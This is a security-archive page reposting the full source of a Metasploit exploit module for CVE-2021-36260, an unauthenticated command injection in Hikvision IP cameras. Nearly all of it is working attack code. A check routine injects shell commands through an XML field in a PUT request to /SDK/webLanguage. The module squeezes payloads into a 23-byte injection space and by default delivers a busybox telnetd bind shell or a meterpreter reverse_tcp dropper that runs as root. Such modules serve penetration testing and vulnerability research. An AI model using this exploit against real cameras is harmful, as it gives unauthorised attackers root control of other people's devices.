what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Hikvision IP Camera Unauthenticated Command Injection

Hikvision IP Camera Unauthenticated Command Injection
Posted Feb 28, 2022
Authored by bashis, jbaines-r7, Watchful_IP | Site metasploit.com

This Metasploit module exploits an unauthenticated command injection in a variety of Hikvision IP cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an HTTP PUT request sent to the /SDK/webLanguage endpoint, resulting in command execution as the root user. This module specifically attempts to exploit the blind variant of the attack. The module was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725. Please see the Hikvision advisory for a full list of affected products.

tags | exploit, web, root
advisories | CVE-2021-36260
SHA-256 | 7bd3dd72f17285cba701691f5d8795c84e79f211db3e6ea8a840141f658935a5

Hikvision IP Camera Unauthenticated Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Hikvision IP Camera Unauthenticated Command Injection',
'Description' => %q{
This module exploits an unauthenticated command injection in a variety of Hikvision IP
cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an
HTTP PUT request sent to the `/SDK/webLanguage` endpoint, resulting in command execution
as the `root` user.

This module specifically attempts to exploit the blind variant of the attack. The module
was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It
was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725.
Please see the Hikvision advisory for a full list of affected products.
},
'License' => MSF_LICENSE,
'Author' => [
'Watchful_IP', # Vulnerability discovery and disclosure
'bashis', # Proof of concept
'jbaines-r7' # Metasploit module
],
'References' => [
[ 'CVE', '2021-36260' ],
[ 'URL', 'https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html'],
[ 'URL', 'https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/security-notification-command-injection-vulnerability-in-some-hikvision-products/'],
[ 'URL', 'https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py']
],
'DisclosureDate' => '2021-09-18',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
# the target has very limited payload targets and a tight payload space.
# bind_busybox_telnetd might be *the only* one.
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd',
# saving four bytes of payload space by using 'sh' instead of '/bin/sh'
'LOGIN_CMD' => 'sh',
'Space' => 23
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'printf', 'echo' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

# Check will test two things:
# 1. Is the endpoint a Hikvision camera?
# 2. Does the endpoint respond as expected to exploitation? This module is
# specifically testing for the blind variant of this attack so we key off
# of the returned HTTP status code. The developer's test target responded
# to exploitation with a 500. Notes from bashis' exploit indicates that
# they saw targets respond with 200 as well, so we'll accept that also.
def check
# Hikvision landing page redirects to '/doc/page/login.asp' via JavaScript:
# <script>
# window.location.href = "/doc/page/login.asp?_" + (new Date()).getTime();
# </script>
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/')
})
return CheckCode::Unknown("Didn't receive a response from the target.") unless res
return CheckCode::Safe('The target did not respond with a 200 OK') unless res.code == 200
return CheckCode::Safe('The target doesn\'t appear to be a Hikvision device') unless res.body.include?('/doc/page/login.asp?_')

payload = '<xml><language>$(cat /proc/cpuinfo)</language></xml>'
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
'data' => payload
})

return CheckCode::Unknown("Didn't receive a response from the target.") unless res
return CheckCode::Safe('The target did not respond with a 200 OK or 500 error') unless (res.code == 200 || res.code == 500)

# Some cameras are not vulnerable and still respond 500. We can weed them out by making
# the remote target sleep and use a low timeout. This might not be good for high latency targets
# or for people using Metasploit as a vulnerability scanner... but it's better than flagging all
# 500 responses as vulnerable.
payload = '<xml><language>$(sleep 20)</language></xml>'
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
'data' => payload
}, 10)

return CheckCode::Appears('It appears the target executed the provided sleep command.') unless res

CheckCode::Safe('The target did not execute the provided sleep command.')
end

def execute_command(cmd, _opts = {})
# The injection space is very small. The entire snprintf is 0x1f bytes and the
# format string is:
#
# /dav/%s.tar.gz
#
# Which accounts for 12 bytes, leaving only 19 bytes for our payload. Fortunately,
# snprintf will let us reclaim '.tar.gz' so in reality, there are 26 bytes for
# our payload. We need 3 bytes to invoke our injection: $(). Leaving 23 bytes
# for payload. The 'echo' stager has a minium of 26 bytes but we obviously don't
# have that much space. We can steal the extra space from the "random" file name
# and compress ' >> ' to '>>'. That will get us below 23. Squeezing the extra
# bytes will also allow printf stager to do more than 1 byte per exploitation.
cmd = cmd.gsub(%r{tmp/[0-9a-zA-Z]+}, @fname)
cmd = cmd.gsub(/ >/, '>')
cmd = cmd.gsub(/> /, '>')

payload = "<xml><language>$(#{cmd})</language></xml>"
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
'data' => payload
})

fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 or 500: #{res.code}") unless (res.code == 200 || res.code == 500)
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

# generate a random value for the tmp file name. See execute_command for details
@fname = "tmp/#{Rex::Text.rand_text_alpha(1)}"

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# 26 is technically a lie. See `execute_command` for additional insight
execute_cmdstager(linemax: 26)
end
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close